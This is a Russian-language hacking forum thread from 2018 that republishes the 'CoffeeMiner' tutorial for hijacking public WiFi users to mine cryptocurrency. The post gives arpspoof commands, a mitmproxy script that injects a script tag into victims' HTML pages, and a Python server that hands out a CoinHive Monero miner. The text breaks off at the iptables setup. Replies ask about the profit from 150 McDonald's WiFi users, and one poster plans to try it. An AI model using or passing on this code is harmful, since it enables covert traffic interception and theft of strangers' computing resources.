Загрузка...

CoffeeMiner: взлом WiFi для внедрения криптомайнера

Тема в разделе Wi-Fi создана пользователем Darkhaese208060 7 авг 2018. 1025 просмотров

Загрузка...
  1. Darkhaese208060
    Darkhaese208060 Автор темы 7 авг 2018 19 12 ноя 2017
    Мы не призываем вас совершать те действия,которые описаны в данной статье. Статья предназначена исключительно для ознакомления.

    CoffeeMiner: взлом WiFi для внедрения криптомайнера

    Некоторое время назад я прочитал об этом случае Starbucks, где хакеры взламывали ноутбуки в сети WiFi, чтобы майнить на них криптовалюту. И я подумал, что может быть интересно провести атаку иным способом.

    Цель этой статьи — объяснить, как провести атаку MITM (человек посередине) для внедрения определённого JavaScript-кода в страницы HTML, чтобы заставить все устройства, подключённые к WiFi, майнить криптовалюту для злоумышленника.

    Задача состоит в создании скрипта, который проводит автономную атаку в сети WiFi. Это то, что мы назвали CoffeeMiner, поскольку атаки такого типа можно проводить в кафе.

    VirtualBox.

    Первым делом нужно скачать какой-нибудь дисковый образ Linux и установить его на машине VirtualBox. В данном примере будем использовать образы Kali Linux.

    После скачивания ISO-образа готовим три машины VBox с установленным образом Linux.

    Для конфигурации описанного сценария нужно подготовить машины, выполняющие следующие роли:

    Жертва-Машина, которая подключается к маршрутизатору и просматривает веб-страницы.
    ЗлоумышленникМашина, где запускается CoffeeMiner и осуществляется MITM-атака.
    Маршрутизатор / шлюзРаботает как нормальный шлюз.

    При выполнении атаки ситуация будет такой:

    Для каждой машины используем следующую конфигурацию:

    Жертвасетевой адаптер:eth0: Host-only Adapter
    /etc/network/interfaces:
    auto lo
    iface lo inet loopback
    auto eth0
    iface eth0 inet static
    address 10.0.2.10
    netmask 255.255.255.0
    gateway 10.0.2.15
    Злоумышленниксетевой адаптер:eth0: Host-only Adapter
    /etc/network/interfaces:
    auto lo
    iface lo inet loopback
    auto eth0
    iface eth0 inet static
    address 10.0.2.20
    netmask 255.255.255.0
    gateway 10.0.2.15
    Маршрутизатор / шлюзсетевой адаптер:eth0: Bridged Adapter
    eth1: Host-only Adapter
    /etc/network/interfaces:
    auto lo
    iface lo inet loopback
    auto eth0
    iface eth0 inet dhcp
    auto eth1
    iface eth1 inet static
    address 10.0.2.15
    netmask 255.255.255.0

    2. CoffeeMiner, разбор кода

    2.1. ARP-spoofing

    Первым делом нужно понять, как осуществляется MITM-атака.

    Из Википедии:

    «В компьютерных сетях ARP-spoofing (ARP cache poisoning или ARP poison routing) — это техника, когда злоумышленник отправляет в локальную сеть (поддельные) сообщения по протоколу Address Resolution Protocol (ARP). В общем, цель состоит в связывании MAC-адреса злоумышленника с IP-адресом другого хоста, такого как шлюз по умолчанию, так что любой трафик для данного IP-адреса будет вместо этого направлен злоумышленнику».

    Для осуществления атаки ARP-spoofing будем использовать библиотеку dsniff.



    Код
    arpspoof -i interface -t ipVictim ipGateway
    arpspoof -i interface -t ipGateway ipVictim

    2.2. mitmproxy

    Mitmproxy — это программа для анализа и редактирования трафика, который проходит через хост. Мы будем использовать её для внедрения JavaScript на страницы HTML.

    Для простоты процесса внедряем одну строку кода на HTML-страницы. Эта строка кода запускает криптомайнер:



    Код
    <script src="[URL]http://httpserverIP:8000/script.js[/URL]"></script>

    2.3. Внедрение

    Когда мы перехватили трафик жертвы, то можно внедрить в него наш скрипт. Для внедрения используем mitmproxy API:



    Код
    from bs4 import BeautifulSoup
    from mitmproxy import ctx, http
    import argparse

    class Injector:
    def __init__(self, path):
    self.path = path

    def response(self, flow: http.HTTPFlow) -> None:
    if self.path:
    html = BeautifulSoup(flow.response.content, "html.parser")
    print(self.path)
    print(flow.response.headers["content-type"])
    if flow.response.headers["content-type"] == 'text/html':
    script = html.new_tag(
    "script",
    src=self.path,
    type='application/javascript')
    html.body.insert(0, script)
    flow.response.content = str(html).encode("utf8")
    print("Script injected.")

    def start():
    parser = argparse.ArgumentParser()
    parser.add_argument("path", type=str)
    args = parser.parse_args()
    return Injector(args.path)

    2.4. HTTP-сервер

    Как мы видели, инъектор добавляет в HTML-страницы одну строчку, с вызовом нашего криптомайнера на JavaScript. Так что нужно разместить файл скрипта на HTTP-сервере.

    Чтобы выдать скрипт криптомайнера, запустим HTTP-сервер на машине злоумышленника. Для этого используем питоновскую библиотеку ‘http.server’:


    Код

    #!/usr/bin/env python
    import http.server
    import socketserver
    import os

    PORT = 8000

    web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
    os.chdir(web_dir)

    Handler = http.server.SimpleHTTPRequestHandler
    httpd = socketserver.TCPServer(("", PORT), Handler)
    print("serving at port", PORT)
    httpd.serve_forever()

    Вышеприведённый код — это простой HTTP-сервер, который отправляем жертвам наш криптомайнер, когда те его запрашивают.

    Майнер на JavaScript будет размещён в директории /miner_script. В нашем случае используется JavaScript-майнер CoinHive.

    2.5. Криптомайнер CoinHive

    CoinHive — это JavaScript-майнер для криптовалюты Monero (XMR). Его можно добавить на сайт и использовать вычислительные ресурсы CPU на компьютерах пользователей для вычисления хэшей по алгоритму Cryptonight PoW, с помощью которых майнится Monero по протоколу CryptoNote.

    Использовать майнер CoinHive имеет смысл, если пользователь остаётся на веб-странице относительно продолжительное время. Так что, например, для сайта со средними сессиями по 40 секунд он не имеет особого смысла.

    Поскольку мы внедряем майнер абсолютно на все страницы, то майнер будет работать на компьютерах жертв продолжительное время.

    3. CoffeeMiner, интеграция всего вместе

    Основная задача — связать все описанные концепции в одну автономную установку. Это и будет CoffeeMiner.

    Смысл в том, чтобы один скрипт CoffeeMiner осуществлял атаку ARP-spoofing и устанавливал mitmproxy для внедрения криптомайнера CoinHive в HTML-страницы жертв.

    Сначала нужно сконфигурировать ip_forwarding и IPTABLES, чтобы машина злоумышленника работала как ******:



    Код
    echo 1
     
    7 авг 2018 Изменено
  2. FAQ
    FAQ 8 авг 2018 6918 25 окт 2016
    cCылку можно?
     
  3. Aesthetics
    плюсую
    Дайте ссылку плес
     
  4. Dripxn
    Dripxn 8 авг 2018 Заблокирован(а) 53 24 дек 2017
    + тоже интересно
     
  5. Darkhaese208060
    Darkhaese208060 Автор темы 9 авг 2018 19 12 ноя 2017
    Cорри, тупанул, тема восстановлена.
     
  6. Darkhaese208060
    Darkhaese208060 Автор темы 9 авг 2018 19 12 ноя 2017
    Cорри, тупанул, тема восстановлена.
     
  7. Darkhaese208060
    Darkhaese208060 Автор темы 9 авг 2018 19 12 ноя 2017
    Cорри, тупанул, тема восстановлена.
     
  8. Darkhaese208060
    Darkhaese208060 Автор темы 9 авг 2018 19 12 ноя 2017
    Cорри, тупанул, тема восстановлена.
     
  9. Darkhaese208060
    Darkhaese208060 Автор темы 9 авг 2018 19 12 ноя 2017
    Cорри, тупанул, тема восстановлена.
     
  10. Darkhaese208060
    Darkhaese208060 Автор темы 9 авг 2018 19 12 ноя 2017
    То чувство, когда глюканул инет и одно сообщение отправилось несколько раз.
     
  11. MOXON
    MOXON 9 авг 2018 EZIC 1240 28 май 2017
    Если например в Макдональсе к Wifi подключены человек 150. То в какой профит можно уйти?
     
  12. MOXON
    MOXON 9 авг 2018 EZIC 1240 28 май 2017
    Если например в Макдональсе к Wifi подключены человек 150. То в какой профит можно уйти?
     
  13. MOXON
    MOXON 9 авг 2018 EZIC 1240 28 май 2017
    Если например в Макдональсе к Wifi подключены человек 150. То в какой профит можно уйти?
     
  14. AsashiRaito
    AsashiRaito 9 авг 2018 1 30 июл 2018
     
  15. MOXON
    MOXON 9 авг 2018 EZIC 1240 28 май 2017
    То же самое. Это с лолзом проблемы
     
  16. Darkhaese208060
    Darkhaese208060 Автор темы 9 авг 2018 19 12 ноя 2017
    MOXON, Зависит от настроек твоего чуда.
     
  17. Darkhaese208060
    Darkhaese208060 Автор темы 9 авг 2018 19 12 ноя 2017
  18. fedsum
    fedsum 22 сен 2018 10 27 май 2018
    интересно:thinking:
     
  19. PaskydaMraz
    PaskydaMraz 22 сен 2018 Заблокирован(а) 4 22 сен 2018
    выглядит годно
    завтра надо будет проверить
     
Top